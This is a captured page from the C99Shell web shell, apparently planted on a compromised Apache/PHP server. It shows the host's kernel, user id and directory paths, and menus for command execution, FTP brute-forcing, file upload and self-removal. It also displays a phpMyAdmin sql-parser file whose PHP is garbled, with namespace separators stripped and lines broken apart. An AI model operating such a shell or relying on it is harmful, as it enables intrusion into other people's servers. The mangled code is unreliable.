!C99Shell v. 1.0 pre-release build #16!

Software: Apache/2.0.54 (Fedora). PHP/5.0.4 

uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 

uid=48(apache) gid=48(apache) groups=48(apache)
context=system_u:system_r:httpd_sys_script_t
 

Safe-mode: OFF (not secure)

/home/mnnews/public_html/login/phpmyadmin/libraries/sql-parser/src/Utils/   drwxr-xr-x
Free 1.91 GB of 27.03 GB (7.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Error.php (2.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
* Error related utilities.
*
* @package    SqlParser
* @subpackage Utils
*/
namespace SqlParserUtils;

use
SqlParserLexer;
use
SqlParserParser;

/**
* Error related utilities.
*
* @category   Exceptions
* @package    SqlParser
* @subpackage Utils
* @author     Dan Ungureanu <udan1107@gmail.com>
* @license    http://opensource.org/licenses/GPL-2.0 GNU Public License
*/
class Error
{

    
/**
     * Gets the errors of a lexer and a parser.
     *
     * @param array $objs Objects from where the errors will be extracted.
     *
     * @return array Each element of the array represents an error.
     *                    `$err[0]` holds the error message.
     *                    `$err[1]` holds the error code.
     *                    `$err[2]` holds the string that caused the issue.
     *                    `$err[3]` holds the position of the string.
     *                    (i.e. `array($msg, $code, $str, $pos)`)
     */
    
public static function get($objs)
    {
        
$ret = array();

        foreach (
$objs as $obj) {
            if (
$obj instanceof Lexer) {
                foreach (
$obj->errors as $err) {
                    
$ret[] = array(
                        
$err->getMessage(),
                        
$err->getCode(),
                        
$err->ch,
                        
$err->pos
                    
);
                }
            } elseif (
$obj instanceof Parser) {
                foreach (
$obj->errors as $err) {
                    
$ret[] = array(
                        
$err->getMessage(),
                        
$err->getCode(),
                        
$err->token->token,
                        
$err->token->position
                    
);
                }
            }
        }

        return
$ret;
    }

    
/**
     * Formats the specified errors
     *
     * @param  array  $errors The errors to be formatted.
     * @param  string $format The format of an error.
     *                         '$1$d' is replaced by the position of this error.
     *                         '$2$s' is replaced by the error message.
     *                         '$3$d' is replaced by the error code.
     *                         '$4$s' is replaced by the string that caused the
     *                                issue.
     *                         '$5$d' is replaced by the position of the string.
     * @return array
     */
    
public static function format(
        
$errors, $format = '#%1$d: %2$s (near "%4$s" at position %5$d)'
    
) {
        
$ret = array();

        
$i = 0;
        foreach (
$errors as $key => $err) {
            
$ret[$key] = sprintf(
                
$format, ++$i, $err[0], $err[1], $err[2], $err[3]
            );
        }

        return
$ret;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0056 ]--